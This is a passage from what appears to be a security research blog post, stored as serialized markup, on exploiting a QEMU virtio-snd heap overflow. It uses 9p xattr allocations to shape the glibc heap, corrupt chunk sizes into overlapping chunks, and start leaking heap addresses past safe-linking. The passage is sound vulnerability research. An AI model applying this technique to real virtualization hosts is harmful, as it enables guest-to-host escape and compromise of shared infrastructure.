",{"type":21,"tag":198,"props":128576,"children":128577},{"style":205},[128578],{"type":27,"value":128579},"\"dsqd\"",{"type":21,"tag":198,"props":128581,"children":128582},{"style":211},[128583],{"type":27,"value":828},{"type":21,"tag":198,"props":128585,"children":128586},{"style":683},[128587],{"type":27,"value":3917},{"type":21,"tag":198,"props":128589,"children":128590},{"style":211},[128591],{"type":27,"value":128592},"fid, ",{"type":21,"tag":198,"props":128594,"children":128595},{"style":683},[128596],{"type":27,"value":3917},{"type":21,"tag":198,"props":128598,"children":128599},{"style":211},[128600],{"type":27,"value":128601},"name, ",{"type":21,"tag":198,"props":128603,"children":128604},{"style":683},[128605],{"type":27,"value":3917},{"type":21,"tag":198,"props":128607,"children":128608},{"style":211},[128609],{"type":27,"value":127352},{"type":21,"tag":198,"props":128611,"children":128612},{"style":683},[128613],{"type":27,"value":3917},{"type":21,"tag":198,"props":128615,"children":128616},{"style":211},[128617],{"type":27,"value":128618},"flags);\n",{"type":21,"tag":198,"props":128620,"children":128621},{"class":200,"line":477},[128622,128626,128631,128635,128639],{"type":21,"tag":198,"props":128623,"children":128624},{"style":640},[128625],{"type":27,"value":643},{"type":21,"tag":198,"props":128627,"children":128628},{"style":211},[128629],{"type":27,"value":128630}," (err ",{"type":21,"tag":198,"props":128632,"children":128633},{"style":683},[128634],{"type":27,"value":3159},{"type":21,"tag":198,"props":128636,"children":128637},{"style":2540},[128638],{"type":27,"value":3855},{"type":21,"tag":198,"props":128640,"children":128641},{"style":211},[128642],{"type":27,"value":668},{"type":21,"tag":198,"props":128644,"children":128645},{"class":200,"line":494},[128646,128651],{"type":21,"tag":198,"props":128647,"children":128648},{"style":640},[128649],{"type":27,"value":128650}," goto",{"type":21,"tag":198,"props":128652,"children":128653},{"style":211},[128654],{"type":27,"value":128655}," out_nofid;\n",{"type":21,"tag":198,"props":128657,"children":128658},{"class":200,"line":515},[128659],{"type":21,"tag":198,"props":128660,"children":128661},{"style":211},[128662],{"type":27,"value":880},{"type":21,"tag":198,"props":128664,"children":128665},{"class":200,"line":4484},[128666],{"type":21,"tag":198,"props":128667,"children":128668},{"emptyLinePlaceholder":16},[128669],{"type":27,"value":1283},{"type":21,"tag":198,"props":128671,"children":128672},{"class":200,"line":4493},[128673],{"type":21,"tag":198,"props":128674,"children":128675},{"style":211},[128676],{"type":27,"value":105183},{"type":21,"tag":198,"props":128678,"children":128679},{"class":200,"line":4561},[128680],{"type":21,"tag":198,"props":128681,"children":128682},{"emptyLinePlaceholder":16},[128683],{"type":27,"value":1283},{"type":21,"tag":198,"props":128685,"children":128686},{"class":200,"line":4569},[128687,128691,128695,128699],{"type":21,"tag":198,"props":128688,"children":128689},{"style":640},[128690],{"type":27,"value":643},{"type":21,"tag":198,"props":128692,"children":128693},{"style":211},[128694],{"type":27,"value":127453},{"type":21,"tag":198,"props":128696,"children":128697},{"style":683},[128698],{"type":27,"value":11270},{"type":21,"tag":198,"props":128700,"children":128701},{"style":211},[128702],{"type":27,"value":128703}," P9_XATTR_SIZE_MAX) {\n",{"type":21,"tag":198,"props":128705,"children":128706},{"class":200,"line":4599},[128707,128712,128716,128720],{"type":21,"tag":198,"props":128708,"children":128709},{"style":211},[128710],{"type":27,"value":128711}," err ",{"type":21,"tag":198,"props":128713,"children":128714},{"style":683},[128715],{"type":27,"value":3174},{"type":21,"tag":198,"props":128717,"children":128718},{"style":683},[128719],{"type":27,"value":51631},{"type":21,"tag":198,"props":128721,"children":128722},{"style":211},[128723],{"type":27,"value":128724},"E2BIG;\n",{"type":21,"tag":198,"props":128726,"children":128727},{"class":200,"line":4607},[128728,128732],{"type":21,"tag":198,"props":128729,"children":128730},{"style":640},[128731],{"type":27,"value":128650},{"type":21,"tag":198,"props":128733,"children":128734},{"style":211},[128735],{"type":27,"value":128655},{"type":21,"tag":198,"props":128737,"children":128738},{"class":200,"line":4638},[128739],{"type":21,"tag":198,"props":128740,"children":128741},{"style":211},[128742],{"type":27,"value":880},{"type":21,"tag":198,"props":128744,"children":128745},{"class":200,"line":4646},[128746],{"type":21,"tag":198,"props":128747,"children":128748},{"emptyLinePlaceholder":16},[128749],{"type":27,"value":1283},{"type":21,"tag":198,"props":128751,"children":128752},{"class":200,"line":4706},[128753],{"type":21,"tag":198,"props":128754,"children":128755},{"style":211},[128756],{"type":27,"value":105183},{"type":21,"tag":198,"props":128758,"children":128759},{"class":200,"line":9857},[128760],{"type":21,"tag":198,"props":128761,"children":128762},{"emptyLinePlaceholder":16},[128763],{"type":27,"value":1283},{"type":21,"tag":198,"props":128765,"children":128766},{"class":200,"line":9875},[128767,128771,128775,128779,128784,128788,128792,128796,128801,128805,128809],{"type":21,"tag":198,"props":128768,"children":128769},{"style":698},[128770],{"type":27,"value":128539},{"type":21,"tag":198,"props":128772,"children":128773},{"style":211},[128774],{"type":27,"value":706},{"type":21,"tag":198,"props":128776,"children":128777},{"style":683},[128778],{"type":27,"value":3917},{"type":21,"tag":198,"props":128780,"children":128781},{"style":226},[128782],{"type":27,"value":128783},"xattr_fidp",{"type":21,"tag":198,"props":128785,"children":128786},{"style":211},[128787],{"type":27,"value":14564},{"type":21,"tag":198,"props":128789,"children":128790},{"style":226},[128791],{"type":27,"value":37753},{"type":21,"tag":198,"props":128793,"children":128794},{"style":211},[128795],{"type":27,"value":658},{"type":21,"tag":198,"props":128797,"children":128798},{"style":226},[128799],{"type":27,"value":128800},"xattr",{"type":21,"tag":198,"props":128802,"children":128803},{"style":211},[128804],{"type":27,"value":658},{"type":21,"tag":198,"props":128806,"children":128807},{"style":226},[128808],{"type":27,"value":1588},{"type":21,"tag":198,"props":128810,"children":128811},{"style":211},[128812],{"type":27,"value":1470},{"type":21,"tag":198,"props":128814,"children":128815},{"class":200,"line":9920},[128816,128821,128825,128829,128833,128837,128841,128845,128849,128853,128857,128861,128865],{"type":21,"tag":198,"props":128817,"children":128818},{"style":698},[128819],{"type":27,"value":128820}," v9fs_string_copy",{"type":21,"tag":198,"props":128822,"children":128823},{"style":211},[128824],{"type":27,"value":706},{"type":21,"tag":198,"props":128826,"children":128827},{"style":683},[128828],{"type":27,"value":3917},{"type":21,"tag":198,"props":128830,"children":128831},{"style":226},[128832],{"type":27,"value":128783},{"type":21,"tag":198,"props":128834,"children":128835},{"style":211},[128836],{"type":27,"value":14564},{"type":21,"tag":198,"props":128838,"children":128839},{"style":226},[128840],{"type":27,"value":37753},{"type":21,"tag":198,"props":128842,"children":128843},{"style":211},[128844],{"type":27,"value":658},{"type":21,"tag":198,"props":128846,"children":128847},{"style":226},[128848],{"type":27,"value":128800},{"type":21,"tag":198,"props":128850,"children":128851},{"style":211},[128852],{"type":27,"value":658},{"type":21,"tag":198,"props":128854,"children":128855},{"style":226},[128856],{"type":27,"value":1588},{"type":21,"tag":198,"props":128858,"children":128859},{"style":211},[128860],{"type":27,"value":828},{"type":21,"tag":198,"props":128862,"children":128863},{"style":683},[128864],{"type":27,"value":3917},{"type":21,"tag":198,"props":128866,"children":128867},{"style":211},[128868],{"type":27,"value":128552},{"type":21,"tag":198,"props":128870,"children":128871},{"class":200,"line":10026},[128872,128877,128881,128885,128889,128893,128897,128901,128905,128909],{"type":21,"tag":198,"props":128873,"children":128874},{"style":226},[128875],{"type":27,"value":128876}," xattr_fidp",{"type":21,"tag":198,"props":128878,"children":128879},{"style":211},[128880],{"type":27,"value":14564},{"type":21,"tag":198,"props":128882,"children":128883},{"style":226},[128884],{"type":27,"value":37753},{"type":21,"tag":198,"props":128886,"children":128887},{"style":211},[128888],{"type":27,"value":658},{"type":21,"tag":198,"props":128890,"children":128891},{"style":226},[128892],{"type":27,"value":128800},{"type":21,"tag":198,"props":128894,"children":128895},{"style":211},[128896],{"type":27,"value":658},{"type":21,"tag":198,"props":128898,"children":128899},{"style":226},[128900],{"type":27,"value":39910},{"type":21,"tag":198,"props":128902,"children":128903},{"style":683},[128904],{"type":27,"value":979},{"type":21,"tag":198,"props":128906,"children":128907},{"style":698},[128908],{"type":27,"value":124555},{"type":21,"tag":198,"props":128910,"children":128911},{"style":211},[128912],{"type":27,"value":128913},"(size);\n",{"type":21,"tag":198,"props":128915,"children":128916},{"class":200,"line":24302},[128917],{"type":21,"tag":198,"props":128918,"children":128919},{"style":211},[128920],{"type":27,"value":1120},{"type":21,"tag":30,"props":128922,"children":128923},{},[128924,128926,128931,128933,128938,128939,128944,128946,128951],{"type":27,"value":128925},"Because the ",{"type":21,"tag":194,"props":128927,"children":128929},{"className":128928},[],[128930],{"type":27,"value":128287},{"type":27,"value":128932}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":21,"tag":194,"props":128934,"children":128936},{"className":128935},[],[128937],{"type":27,"value":128287},{"type":27,"value":11801},{"type":21,"tag":194,"props":128940,"children":128942},{"className":128941},[],[128943],{"type":27,"value":128294},{"type":27,"value":128945},", not just the ",{"type":21,"tag":194,"props":128947,"children":128949},{"className":128948},[],[128950],{"type":27,"value":128294},{"type":27,"value":128952}," we actually care about. But we will get around this later in the blog post.",{"type":21,"tag":30,"props":128954,"children":128955},{},[128956,128957,128962],{"type":27,"value":534},{"type":21,"tag":194,"props":128958,"children":128960},{"className":128959},[],[128961],{"type":27,"value":128294},{"type":27,"value":128963}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":21,"tag":30,"props":128965,"children":128966},{},[128967,128969,128974,128976,128982,128984,128990,128992,128998],{"type":27,"value":128968},"Once allocated, we can write arbitrary bytes into the ",{"type":21,"tag":194,"props":128970,"children":128972},{"className":128971},[],[128973],{"type":27,"value":128294},{"type":27,"value":128975}," buffer through a ",{"type":21,"tag":194,"props":128977,"children":128979},{"className":128978},[],[128980],{"type":27,"value":128981},"P9_TWRITE",{"type":27,"value":128983}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":21,"tag":194,"props":128985,"children":128987},{"className":128986},[],[128988],{"type":27,"value":128989},"P9_TREAD",{"type":27,"value":128991},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":21,"tag":194,"props":128993,"children":128995},{"className":128994},[],[128996],{"type":27,"value":128997},"P9_TCLUNK",{"type":27,"value":128999}," request on that same FID.",{"type":21,"tag":30,"props":129001,"children":129002},{},[129003,129005,129011],{"type":27,"value":129004},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":21,"tag":194,"props":129006,"children":129008},{"className":129007},[],[129009],{"type":27,"value":129010},"65536",{"type":27,"value":129012}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":21,"tag":59,"props":129014,"children":129016},{"id":129015},"setting-the-heap-layout",[129017],{"type":27,"value":129018},"Setting the Heap Layout",{"type":21,"tag":30,"props":129020,"children":129021},{},[129022,129024,129029],{"type":27,"value":129023},"Ideally, we want a contiguous heap region consisting only of ",{"type":21,"tag":194,"props":129025,"children":129027},{"className":129026},[],[129028],{"type":27,"value":128294},{"type":27,"value":129030}," allocations, like this:",{"type":21,"tag":187,"props":129032,"children":129034},{"code":129033}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[129035],{"type":21,"tag":194,"props":129036,"children":129037},{"__ignoreMap":7},[129038],{"type":27,"value":129033},{"type":21,"tag":30,"props":129040,"children":129041},{},[129042,129044,129049,129051,129056,129058,129063],{"type":27,"value":129043},"This lets us later create holes by freeing every other ",{"type":21,"tag":194,"props":129045,"children":129047},{"className":129046},[],[129048],{"type":27,"value":128294},{"type":27,"value":129050}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":21,"tag":194,"props":129052,"children":129054},{"className":129053},[],[129055],{"type":27,"value":124642},{"type":27,"value":129057}," field of the next live ",{"type":21,"tag":194,"props":129059,"children":129061},{"className":129060},[],[129062],{"type":27,"value":128294},{"type":27,"value":129064}," chunk.",{"type":21,"tag":30,"props":129066,"children":129067},{},[129068],{"type":27,"value":129069},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":21,"tag":30,"props":129071,"children":129072},{},[129073,129075,129080,129082,129087,129089,129094,129096,129101],{"type":27,"value":129074},"As mentioned earlier, ",{"type":21,"tag":194,"props":129076,"children":129078},{"className":129077},[],[129079],{"type":27,"value":128331},{"type":27,"value":129081}," always allocates two chunks: one for ",{"type":21,"tag":194,"props":129083,"children":129085},{"className":129084},[],[129086],{"type":27,"value":128287},{"type":27,"value":129088}," and one for ",{"type":21,"tag":194,"props":129090,"children":129092},{"className":129091},[],[129093],{"type":27,"value":128294},{"type":27,"value":129095},". We want to avoid having ",{"type":21,"tag":194,"props":129097,"children":129099},{"className":129098},[],[129100],{"type":27,"value":128287},{"type":27,"value":129102}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":21,"tag":71,"props":129104,"children":129105},{},[129106,129118],{"type":21,"tag":75,"props":129107,"children":129108},{},[129109,129111,129116],{"type":27,"value":129110},"Make ",{"type":21,"tag":194,"props":129112,"children":129114},{"className":129113},[],[129115],{"type":27,"value":128287},{"type":27,"value":129117}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":21,"tag":75,"props":129119,"children":129120},{},[129121,129123,129128,129130,129135,129137,129142],{"type":27,"value":129122},"Prepare a separate region whose sole purpose is to absorb ",{"type":21,"tag":194,"props":129124,"children":129126},{"className":129125},[],[129127],{"type":27,"value":128287},{"type":27,"value":129129},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":21,"tag":194,"props":129131,"children":129133},{"className":129132},[],[129134],{"type":27,"value":128287},{"type":27,"value":129136}," allocations from that separate freelist instead of placing them next to our ",{"type":21,"tag":194,"props":129138,"children":129140},{"className":129139},[],[129141],{"type":27,"value":128294},{"type":27,"value":129143}," chunks.",{"type":21,"tag":162,"props":129145,"children":129147},{"id":129146},"separating-name-allocations",[129148],{"type":27,"value":129149},"Separating .name allocations",{"type":21,"tag":30,"props":129151,"children":129152},{},[129153,129155,129160,129162,129167],{"type":27,"value":129154},"We chose the second option. However, it is not as simple as issuing ",{"type":21,"tag":194,"props":129156,"children":129158},{"className":129157},[],[129159],{"type":27,"value":128331},{"type":27,"value":129161}," for N ",{"type":21,"tag":194,"props":129163,"children":129165},{"className":129164},[],[129166],{"type":27,"value":128287},{"type":27,"value":129168},"-sized allocations and then freeing them.",{"type":21,"tag":30,"props":129170,"children":129171},{},[129172,129174,129179,129180,129185,129186,129191,129193,129198,129200,129205],{"type":27,"value":129173},"At this point, we already know that ",{"type":21,"tag":194,"props":129175,"children":129177},{"className":129176},[],[129178],{"type":27,"value":128331},{"type":27,"value":129081},{"type":21,"tag":194,"props":129181,"children":129183},{"className":129182},[],[129184],{"type":27,"value":128287},{"type":27,"value":129088},{"type":21,"tag":194,"props":129187,"children":129189},{"className":129188},[],[129190],{"type":27,"value":128294},{"type":27,"value":129192},". If we simply call it with ",{"type":21,"tag":194,"props":129194,"children":129196},{"className":129195},[],[129197],{"type":27,"value":128294},{"type":27,"value":129199}," sized the same as ",{"type":21,"tag":194,"props":129201,"children":129203},{"className":129202},[],[129204],{"type":27,"value":128287},{"type":27,"value":129206},", we get a layout like this:",{"type":21,"tag":187,"props":129208,"children":129210},{"code":129209}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[129211],{"type":21,"tag":194,"props":129212,"children":129213},{"__ignoreMap":7},[129214],{"type":27,"value":129209},{"type":21,"tag":30,"props":129216,"children":129217},{},[129218,129220,129225,129227,129233,129235,129241,129243,129248,129250,129255,129257,129262],{"type":27,"value":129219},"With that heap state, issuing a ",{"type":21,"tag":194,"props":129221,"children":129223},{"className":129222},[],[129224],{"type":27,"value":128997},{"type":27,"value":129226}," request would first free ",{"type":21,"tag":194,"props":129228,"children":129230},{"className":129229},[],[129231],{"type":27,"value":129232},".name A",{"type":27,"value":129234}," and then ",{"type":21,"tag":194,"props":129236,"children":129238},{"className":129237},[],[129239],{"type":27,"value":129240},".value A",{"type":27,"value":129242},". When ",{"type":21,"tag":194,"props":129244,"children":129246},{"className":129245},[],[129247],{"type":27,"value":129240},{"type":27,"value":129249}," is freed, the allocator sees that the preceding chunk ",{"type":21,"tag":194,"props":129251,"children":129253},{"className":129252},[],[129254],{"type":27,"value":129232},{"type":27,"value":129256}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":21,"tag":194,"props":129258,"children":129260},{"className":129259},[],[129261],{"type":27,"value":128287},{"type":27,"value":129263},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":21,"tag":30,"props":129265,"children":129266},{},[129267],{"type":27,"value":129268},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":21,"tag":30,"props":129270,"children":129271},{},[129272,129274,129279,129281,129286,129288,129293,129295,129301,129303,129308,129310,129316],{"type":27,"value":129273},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":21,"tag":194,"props":129275,"children":129277},{"className":129276},[],[129278],{"type":27,"value":128287},{"type":27,"value":129280}," allocation remains fixed at size ",{"type":21,"tag":194,"props":129282,"children":129284},{"className":129283},[],[129285],{"type":27,"value":105449},{"type":27,"value":129287},". We first allocate 16 xattrs whose ",{"type":21,"tag":194,"props":129289,"children":129291},{"className":129290},[],[129292],{"type":27,"value":128294},{"type":27,"value":129294}," size is ",{"type":21,"tag":194,"props":129296,"children":129298},{"className":129297},[],[129299],{"type":27,"value":129300},"0x30",{"type":27,"value":129302},". After that, we allocate another 16 xattrs, this time with ",{"type":21,"tag":194,"props":129304,"children":129306},{"className":129305},[],[129307],{"type":27,"value":128294},{"type":27,"value":129309}," size ",{"type":21,"tag":194,"props":129311,"children":129313},{"className":129312},[],[129314],{"type":27,"value":129315},"0x40",{"type":27,"value":129317},", and continue in the same way for each tcache size class.",{"type":21,"tag":30,"props":129319,"children":129320},{},[129321],{"type":27,"value":129322},"This yields the following layout:",{"type":21,"tag":187,"props":129324,"children":129326},{"code":129325}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[129327],{"type":21,"tag":194,"props":129328,"children":129329},{"__ignoreMap":7},[129330],{"type":27,"value":129325},{"type":21,"tag":30,"props":129332,"children":129333},{},[129334,129336,129341,129343,129348,129350,129355,129357,129362,129364,129369,129371,129376,129377,129382,129384,129389,129391,129396,129398,129403,129405,129410,129412,129417],{"type":27,"value":129335},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":21,"tag":194,"props":129337,"children":129339},{"className":129338},[],[129340],{"type":27,"value":128287},{"type":27,"value":129342}," chunks end up in the ",{"type":21,"tag":194,"props":129344,"children":129346},{"className":129345},[],[129347],{"type":27,"value":105449},{"type":27,"value":129349}," tcache bin, along with the interleaved ",{"type":21,"tag":194,"props":129351,"children":129353},{"className":129352},[],[129354],{"type":27,"value":128294},{"type":27,"value":129356}," chunks of size ",{"type":21,"tag":194,"props":129358,"children":129360},{"className":129359},[],[129361],{"type":27,"value":129300},{"type":27,"value":129363},". The next 16 ",{"type":21,"tag":194,"props":129365,"children":129367},{"className":129366},[],[129368],{"type":27,"value":128287},{"type":27,"value":129370}," chunks are interleaved with ",{"type":21,"tag":194,"props":129372,"children":129374},{"className":129373},[],[129375],{"type":27,"value":128294},{"type":27,"value":129356},{"type":21,"tag":194,"props":129378,"children":129380},{"className":129379},[],[129381],{"type":27,"value":129315},{"type":27,"value":129383},"; when freed, those ",{"type":21,"tag":194,"props":129385,"children":129387},{"className":129386},[],[129388],{"type":27,"value":128294},{"type":27,"value":129390}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":21,"tag":194,"props":129392,"children":129394},{"className":129393},[],[129395],{"type":27,"value":128287},{"type":27,"value":129397}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":21,"tag":194,"props":129399,"children":129401},{"className":129400},[],[129402],{"type":27,"value":128287},{"type":27,"value":129404},"-sized chunks that will later be served to the ",{"type":21,"tag":194,"props":129406,"children":129408},{"className":129407},[],[129409],{"type":27,"value":128287},{"type":27,"value":129411}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":21,"tag":194,"props":129413,"children":129415},{"className":129414},[],[129416],{"type":27,"value":128294},{"type":27,"value":129143},{"type":21,"tag":59,"props":129419,"children":129421},{"id":129420},"corrupting-the-size",[129422],{"type":27,"value":129423},"Corrupting the Size",{"type":21,"tag":30,"props":129425,"children":129426},{},[129427,129429,129434,129436,129441,129443,129448,129450,129455,129456,129461],{"type":27,"value":129428},"The input format is guest-controlled, and we choose ",{"type":21,"tag":194,"props":129430,"children":129432},{"className":129431},[],[129433],{"type":27,"value":4226},{"type":27,"value":129435}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":21,"tag":194,"props":129437,"children":129439},{"className":129438},[],[129440],{"type":27,"value":4226},{"type":27,"value":129442}," is centered at ",{"type":21,"tag":194,"props":129444,"children":129446},{"className":129445},[],[129447],{"type":27,"value":30242},{"type":27,"value":129449}," (rather than ",{"type":21,"tag":194,"props":129451,"children":129453},{"className":129452},[],[129454],{"type":27,"value":126549},{"type":27,"value":126536},{"type":21,"tag":194,"props":129457,"children":129459},{"className":129458},[],[129460],{"type":27,"value":126527},{"type":27,"value":129462},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":21,"tag":30,"props":129464,"children":129465},{},[129466,129468,129473],{"type":27,"value":129467},"As we already concluded, ",{"type":21,"tag":194,"props":129469,"children":129471},{"className":129470},[],[129472],{"type":27,"value":125992},{"type":27,"value":129474}," is called with the amount:",{"type":21,"tag":187,"props":129476,"children":129478},{"code":129477},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[129479],{"type":21,"tag":194,"props":129480,"children":129481},{"__ignoreMap":7},[129482],{"type":27,"value":129477},{"type":21,"tag":30,"props":129484,"children":129485},{},[129486,129488,129493,129495,129500],{"type":27,"value":129487},"And as mentioned earlier, ",{"type":21,"tag":194,"props":129489,"children":129491},{"className":129490},[],[129492],{"type":27,"value":126023},{"type":27,"value":129494}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":21,"tag":194,"props":129496,"children":129498},{"className":129497},[],[129499],{"type":27,"value":124642},{"type":27,"value":58703},{"type":21,"tag":30,"props":129502,"children":129503},{},[129504,129506,129511,129513,129518],{"type":27,"value":129505},"With the desired heap layout of repeated ",{"type":21,"tag":194,"props":129507,"children":129509},{"className":129508},[],[129510],{"type":27,"value":128196},{"type":27,"value":129512},"-sized ",{"type":21,"tag":194,"props":129514,"children":129516},{"className":129515},[],[129517],{"type":27,"value":128294},{"type":27,"value":129519}," chunks in place, we can then free every other one:",{"type":21,"tag":187,"props":129521,"children":129523},{"code":129522}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[129524],{"type":21,"tag":194,"props":129525,"children":129526},{"__ignoreMap":7},[129527],{"type":27,"value":129522},{"type":21,"tag":30,"props":129529,"children":129530},{},[129531,129533,129538],{"type":27,"value":129532},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":21,"tag":194,"props":129534,"children":129536},{"className":129535},[],[129537],{"type":27,"value":128294},{"type":27,"value":129539}," chunk directly next to it:",{"type":21,"tag":187,"props":129541,"children":129543},{"code":129542}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[129544],{"type":21,"tag":194,"props":129545,"children":129546},{"__ignoreMap":7},[129547],{"type":27,"value":129542},{"type":21,"tag":30,"props":129549,"children":129550},{},[129551,129553,129558,129560,129565],{"type":27,"value":129552},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":21,"tag":194,"props":129554,"children":129556},{"className":129555},[],[129557],{"type":27,"value":128196},{"type":27,"value":129559},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":21,"tag":194,"props":129561,"children":129563},{"className":129562},[],[129564],{"type":27,"value":128294},{"type":27,"value":129566}," chunk now has a corrupted and likely oversized size field:",{"type":21,"tag":187,"props":129568,"children":129570},{"code":129569}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[129571],{"type":21,"tag":194,"props":129572,"children":129573},{"__ignoreMap":7},[129574],{"type":27,"value":129569},{"type":21,"tag":30,"props":129576,"children":129577},{},[129578,129580,129585],{"type":27,"value":129579},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":21,"tag":194,"props":129581,"children":129583},{"className":129582},[],[129584],{"type":27,"value":128211},{"type":27,"value":185},{"type":21,"tag":187,"props":129587,"children":129589},{"code":129588}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[129590],{"type":21,"tag":194,"props":129591,"children":129592},{"__ignoreMap":7},[129593],{"type":27,"value":129588},{"type":21,"tag":30,"props":129595,"children":129596},{},[129597,129599,129604],{"type":27,"value":129598},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":21,"tag":194,"props":129600,"children":129602},{"className":129601},[],[129603],{"type":27,"value":128211},{"type":27,"value":3394},{"type":21,"tag":187,"props":129606,"children":129608},{"code":129607}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[129609],{"type":21,"tag":194,"props":129610,"children":129611},{"__ignoreMap":7},[129612],{"type":27,"value":129607},{"type":21,"tag":30,"props":129614,"children":129615},{},[129616,129618,129624],{"type":27,"value":129617},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":21,"tag":194,"props":129619,"children":129621},{"className":129620},[],[129622],{"type":27,"value":129623},"0x400",{"type":27,"value":129625}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":21,"tag":187,"props":129627,"children":129629},{"code":129628}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[129630],{"type":21,"tag":194,"props":129631,"children":129632},{"__ignoreMap":7},[129633],{"type":27,"value":129628},{"type":21,"tag":59,"props":129635,"children":129637},{"id":129636},"leaking-a-heap-address",[129638],{"type":27,"value":129639},"Leaking a Heap Address",{"type":21,"tag":30,"props":129641,"children":129642},{},[129643],{"type":27,"value":129644},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":21,"tag":30,"props":129646,"children":129647},{},[129648,129650,129656],{"type":27,"value":129649},"To do this, we abuse the forward (",{"type":21,"tag":194,"props":129651,"children":129653},{"className":129652},[],[129654],{"type":27,"value":129655},"fd",{"type":27,"value":129657},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":21,"tag":187,"props":129659,"children":129661},{"code":129660},"fd = next ^ (curr >> 12)\n",[129662],{"type":21,"tag":194,"props":129663,"children":129664},{"__ignoreMap":7},[129665],{"type":27,"value":129660},{"type":21,"tag":30,"props":129667,"children":129668},{},[129669,129671,129676,129677,129682],{"type":27,"value":129670},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":21,"tag":194,"props":129672,"children":129674},{"className":129673},[],[129675],{"type":27,"value":57942},{"type":27,"value":6314},{"type":21,"tag":194,"props":129678,"children":129680},{"className":129679},[],[129681],{"type":27,"value":54872},{"type":27,"value":129683}," because there is no following entry. In that case, the encoding 